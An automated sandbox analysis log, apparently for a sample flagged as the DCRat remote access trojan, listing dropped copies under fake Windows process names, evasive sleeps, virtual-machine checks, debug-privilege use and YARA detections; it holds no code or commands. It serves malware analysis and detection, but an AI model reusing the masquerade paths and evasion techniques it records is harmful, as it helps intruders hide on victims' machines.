Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Memory allocated: EA0000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Memory allocated: 1AA60000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Memory allocated: 2660000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Memory allocated: 1A720000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Memory allocated: 1010000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Memory allocated: 1AA50000 memory reserve | memory write watch Jump to behavior
Source: C:\Program Files\Windows Mail\ctfmon.exe Memory allocated: 1870000 memory reserve | memory write watch
Source: C:\Program Files\Windows Mail\ctfmon.exe Memory allocated: 1B3E0000 memory reserve | memory write watch
Source: C:\Program Files\Windows Mail\ctfmon.exe Memory allocated: 12F0000 memory reserve | memory write watch
Source: C:\Program Files\Windows Mail\ctfmon.exe Memory allocated: 1AF00000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Memory allocated: 16C0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Memory allocated: 1B080000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Memory allocated: F30000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Memory allocated: 1ABA0000 memory reserve | memory write watch
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Memory allocated: 2B30000 memory reserve | memory write watch
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Memory allocated: 1AB30000 memory reserve | memory write watch
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Memory allocated: 980000 memory reserve | memory write watch
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Memory allocated: 1A5A0000 memory reserve | memory write watch
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Memory allocated: 1160000 memory reserve | memory write watch
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Memory allocated: 1AF10000 memory reserve | memory write watch
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Memory allocated: 770000 memory reserve | memory write watch
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Memory allocated: 1A550000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Memory allocated: FB0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Memory allocated: 1ADB0000 memory reserve | memory write watch
Source: C:\Program Files\Windows Mail\ctfmon.exe Memory allocated: 2BA0000 memory reserve | memory write watch
Source: C:\Program Files\Windows Mail\ctfmon.exe Memory allocated: 1AE50000 memory reserve | memory write watch
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Thread delayed: delay time: 599875 Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Thread delayed: delay time: 599765 Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Thread delayed: delay time: 599844 Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Program Files\Windows Mail\ctfmon.exe Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Mail\ctfmon.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Mail\ctfmon.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Window / User API: threadDelayed 1569 Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Window / User API: threadDelayed 869 Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Window / User API: threadDelayed 1317 Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Window / User API: threadDelayed 682 Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Window / User API: threadDelayed 364 Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Window / User API: threadDelayed 625 Jump to behavior
Source: C:\Program Files\Windows Mail\ctfmon.exe Window / User API: threadDelayed 365
Source: C:\Program Files\Windows Mail\ctfmon.exe Window / User API: threadDelayed 364
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Window / User API: threadDelayed 366
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Window / User API: threadDelayed 362
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Window / User API: threadDelayed 367
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Window / User API: threadDelayed 366
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Window / User API: threadDelayed 366
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Window / User API: threadDelayed 365
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Window / User API: threadDelayed 598
Source: C:\Program Files\Windows Mail\ctfmon.exe Window / User API: threadDelayed 700
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\B9exXW7c3t.exe TID: 3276 Thread sleep count: 1569 > 30 Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe TID: 3276 Thread sleep count: 869 > 30 Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe TID: 6844 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe TID: 4500 Thread sleep count: 1317 > 30 Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe TID: 4500 Thread sleep count: 682 > 30 Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe TID: 7440 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe TID: 7440 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe TID: 7440 Thread sleep time: -599875s >= -30000s Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe TID: 7440 Thread sleep time: -599765s >= -30000s Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe TID: 2892 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe TID: 7360 Thread sleep count: 364 > 30 Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe TID: 6340 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe TID: 7296 Thread sleep count: 625 > 30 Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe TID: 7736 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe TID: 7736 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe TID: 7736 Thread sleep time: -599844s >= -30000s Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe TID: 7296 Thread sleep count: 199 > 30 Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe TID: 7232 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Program Files\Windows Mail\ctfmon.exe TID: 7508 Thread sleep count: 365 > 30
Source: C:\Program Files\Windows Mail\ctfmon.exe TID: 7340 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Windows Mail\ctfmon.exe TID: 7520 Thread sleep count: 364 > 30
Source: C:\Program Files\Windows Mail\ctfmon.exe TID: 7400 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe TID: 7528 Thread sleep count: 366 > 30
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe TID: 7256 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe TID: 7496 Thread sleep count: 362 > 30
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe TID: 7328 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe TID: 7660 Thread sleep count: 367 > 30
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe TID: 7616 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe TID: 7644 Thread sleep count: 366 > 30
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe TID: 7368 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe TID: 7592 Thread sleep count: 366 > 30
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe TID: 7324 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe TID: 7628 Thread sleep count: 365 > 30
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe TID: 7540 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe TID: 7808 Thread sleep count: 598 > 30
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe TID: 7784 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Windows Mail\ctfmon.exe TID: 8100 Thread sleep count: 205 > 30
Source: C:\Program Files\Windows Mail\ctfmon.exe TID: 8100 Thread sleep count: 700 > 30
Source: C:\Program Files\Windows Mail\ctfmon.exe TID: 8084 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\B9exXW7c3t.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Program Files\Windows Mail\ctfmon.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Windows Mail\ctfmon.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Windows Mail\ctfmon.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Thread delayed: delay time: 599875 Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Thread delayed: delay time: 599765 Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Thread delayed: delay time: 599844 Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Program Files\Windows Mail\ctfmon.exe Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Mail\ctfmon.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Mail\ctfmon.exe Thread delayed: delay time: 922337203685477
Source: B9exXW7c3t.exe, 00000000.00000002.2041043654.000000001BF03000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: B9exXW7c3t.exe, 00000000.00000002.2041043654.000000001BF03000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: QeWHGGzCXwoQygZUiDI.exe, 0000001A.00000002.2075420493.000000001BB40000.00000004.00000020.00020000.00000000.sdmp, ApplicationFrameHost.exe, 0000001C.00000002.2089151977.000000001BB32000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process information queried: ProcessInformation Jump to behavior
Enables debug privileges
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Process token adjusted: Debug Jump to behavior
Source: C:\Program Files\Windows Mail\ctfmon.exe Process token adjusted: Debug
Source: C:\Program Files\Windows Mail\ctfmon.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process token adjusted: Debug
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process token adjusted: Debug
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process token adjusted: Debug
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process token adjusted: Debug
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process token adjusted: Debug
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Memory allocated: page read and write | page guard Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe "C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Queries volume information: C:\Users\user\Desktop\B9exXW7c3t.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Queries volume information: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe VolumeInformation Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Queries volume information: C:\Users\Default\Links\ApplicationFrameHost.exe VolumeInformation Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Queries volume information: C:\Users\Default\Links\ApplicationFrameHost.exe VolumeInformation Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation Jump to behavior
Source: C:\Program Files\Windows Mail\ctfmon.exe Queries volume information: C:\Program Files\Windows Mail\ctfmon.exe VolumeInformation
Source: C:\Program Files\Windows Mail\ctfmon.exe Queries volume information: C:\Program Files\Windows Mail\ctfmon.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe VolumeInformation
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Queries volume information: C:\Users\Public\AccountPictures\RuntimeBroker.exe VolumeInformation
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Queries volume information: C:\Users\Public\AccountPictures\RuntimeBroker.exe VolumeInformation
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Queries volume information: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe VolumeInformation
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Queries volume information: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe VolumeInformation
Source: C:\Program Files\Windows Mail\ctfmon.exe Queries volume information: C:\Program Files\Windows Mail\ctfmon.exe VolumeInformation
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected DCRat
Source: Yara match File source: 0000001E.00000002.2180837076.0000000002F3F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.2173207701.0000000002BDF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000002.2180837076.0000000002F01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000002.2131167381.0000000002721000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.2189170513.0000000002F11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.2186087124.0000000002551000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2023417505.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2023417505.00000000031CB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000002.2131167381.000000000275F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.2189170513.0000000002F4F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000027.00000002.2295888940.0000000002E51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.2233092169.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.2185833372.0000000002B6F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.2233092169.0000000002DEF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.2185558862.00000000033E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.2173207701.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.2185833372.0000000002B31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.2185558862.000000000341F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2043423134.0000000002A61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001C.00000002.2080688928.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.2186087124.000000000258F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000027.00000002.2295888940.0000000002E8F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.2189636764.00000000025A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.2175740771.0000000003081000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2025245210.0000000012E8D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: B9exXW7c3t.exe PID: 5880, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: QeWHGGzCXwoQygZUiDI.exe PID: 4124, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ApplicationFrameHost.exe PID: 3808, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ApplicationFrameHost.exe PID: 5612, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ctfmon.exe PID: 6304, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ctfmon.exe PID: 5644, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: QeWHGGzCXwoQygZUiDI.exe PID: 2796, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: QeWHGGzCXwoQygZUiDI.exe PID: 1196, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RuntimeBroker.exe PID: 1084, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RuntimeBroker.exe PID: 6648, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: winlogon.exe PID: 7176, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: winlogon.exe PID: 7208, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: QeWHGGzCXwoQygZUiDI.exe PID: 7760, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ctfmon.exe PID: 8060, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected DCRat
Source: Yara match File source: 0000001E.00000002.2180837076.0000000002F3F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.2173207701.0000000002BDF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000002.2180837076.0000000002F01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000002.2131167381.0000000002721000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.2189170513.0000000002F11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.2186087124.0000000002551000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2023417505.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2023417505.00000000031CB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000002.2131167381.000000000275F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.2189170513.0000000002F4F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000027.00000002.2295888940.0000000002E51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.2233092169.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.2185833372.0000000002B6F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
